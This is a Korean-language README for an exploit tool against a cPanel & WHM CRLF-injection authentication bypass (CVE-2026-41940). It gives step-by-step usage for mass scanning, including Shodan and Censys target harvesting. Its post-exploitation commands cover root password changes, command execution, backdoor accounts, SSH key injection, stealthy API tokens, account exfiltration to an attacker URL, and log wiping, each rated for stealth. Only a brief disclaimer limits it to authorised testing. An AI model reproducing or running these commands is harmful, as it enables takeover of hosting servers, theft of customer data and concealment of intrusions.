
# CVE-2026-41940 익스플로잇 PoC cPanel & WHM의 CRLF 주입을 통한 인증 우회 취약점에 대한 익스플로잇 PoC입니다. 대량 스캐닝, 사후 익스플로잇 작업, 그리고 승인된 테스트를 위한 대화형 셸을 포함합니다.
제작자: Ishan Oshada | GitHub
⚠️ 승인된 보안 테스트 전용입니다. 무단 사용은 불법입니다.


CVE-2026-41940은 cPanel & WHM(버전 < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5)의 CRLF 인젝션 취약점입니다.
saveSession() 함수는 filter_sessiondata()를 적용한 후에 세션 데이터를 작성하지만, 필터가 너무 늦게 적용됩니다. Authorization: Basic 헤더 내에 CRLF(\r\n) 문자를 주입함으로써, 공격자는 임의의 키-값 쌍(예: hasroot=1, tfa_verified=1, user=root)으로 디스크의 세션 파일을 오염시킬 수 있습니다.
이후 오염된 세션이 로드되면, cPanel/WHM은 비밀번호 없이 전체 루트 액세스를 부여합니다.
--verbose) – 전체 HTTP 요청/응답 표시git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
소스에서 빌드하는 대신, 저장소에서 최신 안정 실행 파일을 직접 다운로드할 수 있습니다. 이 파일들은 모든 업데이트마다 자동으로 생성됩니다:
참고: Linux 또는 macOS를 사용하는 경우, 다운로드 후 실행 권한을 부여해야 합니다:
# 기본 스캔
go run main.go -u https://target.com:2087
# 모든 cPanel 계정 나열
go run main.go -u https://target.com:2087 -action list
# 대화형 WHM 셸
go run main.go -u https://target.com:2087 -action shell
# urls.txt로 대량 스캔
go run main.go -l urls.txt -t 20 -o results.json
셸(-action shell)에 진입한 후 다음 명령어를 사용하세요:
저장소에는 대량 스캔을 위한 1000개의 예제 대상이 포함된 urls.txt가 있습니다.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# 기본 대량 스캔 (10개 스레드)
go run main.go -l urls.txt
# 빠른 대량 스캔 (50개 스레드, 결과 저장)
go run main.go -l urls.txt -t 50 -o results.json
# 사후 공격 작업이 포함된 대량 스캔
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# 상세 출력이 포함된 대량 스캔
go run main.go -l urls.txt -t 10 --verbose
# 증가된 타임아웃으로 대량 스캔 (느린 네트워크)
go run main.go -l urls.txt -t 30 -timeout 30
# IP 범위 생성 (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# IP 범위 생성 (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Shodan에서
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Censys에서
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ 취약한 대상 감지 ║
╠════════════════════════════════════════════════════════════════╣
║ 대상: https://target.example.com:2087 ║
║ 토큰: /cpsess1234567890 ║
║ 버전: 11.76.0.22 ║
║ 세션: :od2aMhg5zJeQunUy... ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] 작업: LIST
• 사용자: admin | 도메인: example.com
• 사용자: backup | 도메인: backup.example.com
• 사용자: client1 | 도메인: client1.com
════════════════════════════════════════════════════════════════════
스캔 완료 요약
════════════════════════════════════════════════════════════════════
총 스캔 대상: 1000
취약한 대상: 47
경과 시간: 125.34초
취약한 대상:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
토큰: /cpsess1111111111
버전: 11.76.0.22
세션: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
토큰: /cpsess2222222222
버전: 11.86.0.15
세션: Km2psnYR9w3rRkLU...
3. https://example.com:2087
토큰: /cpsess3333333333
버전: 11.118.0.42
세션: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] 결과가 results.json에 저장되었습니다.
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # 문서
├── bin/ # 사전 빌드된 멀티 플랫폼 실행 파일
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # 메인 소스 코드
├── urls.txt # 1000개 예제 대상
├── go.mod # Go 모듈 파일
├── .gitignore # Git 무시 파일
└── results.json # 출력 파일 (생성됨)
이 도구는 교육 목적 및 승인된 침투 테스트 전용입니다.
컴퓨터 시스템에 대한 무단 액세스는 다음 법률에 따라 불법입니다:
제작자는 오용에 대해 어떠한 책임도 지지 않습니다. 사용에 따른 위험은 사용자 본인에게 있습니다.
이 도구를 사용함으로써, 귀하는 대상 시스템을 테스트할 적절한 권한이 있음을 동의하는 것입니다.
Ishan Oshada
이 도구가 유용하다고 생각되면:
즐거운 해킹 되세요! 🚀
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 윤리적으로 사용하세요.
| 단계 | 작업 | 설명 |
|---|
| 1 | POST /login/?login_only=1 | 잘못된 자격 증명으로 사전 인증 세션 쿠키 요청 |
| 2 | GET / + CRLF Authorization 헤더 | hasroot=1, user=root 등으로 세션 파일 오염 |
| 3 | GET /scripts2/listaccts | 세션 캐시가 오염된 파일을 다시 로드하도록 강제(전파) |
| 4 | GET /cpsess<TOKEN>/json-api/version | 루트 액세스 확인 – 성공 = 200 + 버전 데이터 |
| 플랫폼 | 위치 |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | 용도 | 명령어 |
|---|
| 1 | 기본 단일 대상 스캔 | go run main.go -u https://target.com:2087 |
| 2 | 모든 cPanel 계정 나열 | go run main.go -u https://target.com:2087 -action list |
| 3 | 루트 비밀번호 변경 | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | 시스템 명령 실행 | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | 서버 정보 확인 | go run main.go -u https://target.com:2087 -action info |
| 6 | 백도어 사용자 생성 | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | API 토큰 생성 (은밀) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | SSH 키 주입 | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | 계정 덤프 및 유출 | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | 로그 삭제 및 흔적 제거 | go run main.go -u https://target.com:2087 -action wipe |
| 11 | 대화형 WHM 셸 | go run main.go -u https://target.com:2087 -action shell |
| 12 | 파일에서 대량 스캔 | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | 결과를 JSON으로 저장 | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | 상세 디버깅 활성화 | go run main.go -u https://target.com:2087 --verbose |
| 15 | 다른 도구에서 파이프 | cat urls.txt | go run main.go -t 20 |
| 16 | 타임아웃 증가 | go run main.go -u https://target.com:2087 -timeout 30 |
| 작업 | 플래그 | 설명 | 은밀성 수준 |
|---|
list | -action list | 모든 cPanel 계정 나열 | 낮음 |
passwd | -action passwd -passwd NEWPASS | 루트 비밀번호 변경 (시끄러움) | 높음 (감지 가능) |
cmd | -action cmd -cmd "id" | OS 명령 실행 | 중간 |
info | -action info | 호스트명, 부하, 버전 표시 | 낮음 |
adduser | -action adduser -new-user U -new-domain D | 백도어 cPanel 사용자 생성 | 중간 |
apitoken | -action apitoken [-tokenname NAME] | 영구 API 토큰 생성 | 매우 낮음 |
sshkey | -action sshkey -sshkey "ssh-rsa..." | 루트에 SSH 공개 키 주입 | 매우 낮음 |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | 계정 백업 및 유출 | 중간 |
wipe | -action wipe | WAF 비활성화, 로그 삭제, 기록 삭제 | 흔적 제거 |
shell | -action shell | 대화형 WHM 셸 | 낮음 |
| 명령어 | 설명 | 예시 |
|---|
accounts | 모든 cPanel 계정 나열 | accounts |
passwd <pass> | 루트 비밀번호 변경 | passwd MyNewPass123!2006 |
exec <command> | 시스템 명령 실행 | exec "cat /etc/passwd" |
info | 서버 정보 표시 | info |
version | cPanel 버전 표시 | version |
help | 사용 가능한 명령어 표시 | help |
exit | 셸 종료 | exit |
| 옵션 | 유형 | 기본값 | 설명 |
|---|
-u | string | - | 대상 URL (예: https://example.com:2087) |
-l | string | - | 대상이 포함된 파일 (한 줄에 하나) |
-t | int | 10 | 동시 스레드 수 |
-action | string | - | 사후 공격 작업 |
-passwd | string | - | 새 비밀번호 (passwd/adduser용) |
-cmd | string | - | 실행할 명령어 (cmd 작업용) |
-new-user | string | - | adduser 작업용 사용자 이름 |
-new-domain | string | - | adduser 작업용 도메인 |
-tokenname | string | - | API 토큰 이름 (apitoken 작업) |
-sshkey | string | - | 주입할 SSH 공개 키 (sshkey 작업) |
-dumpuser | string | - | 백업할 사용자 이름 (dumpacct 작업) |
-exfil | string | - | 유출용 원격 URL (dumpacct 작업) |
-o | string | - | 출력 JSON 파일 (발견 시 자동 저장) |
--verbose | bool | false | HTTP 요청/응답 표시 |
-h | bool | false | 도움말 메뉴 표시 |
| 브랜치 | 패치된 버전 | 취약한 버전 < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |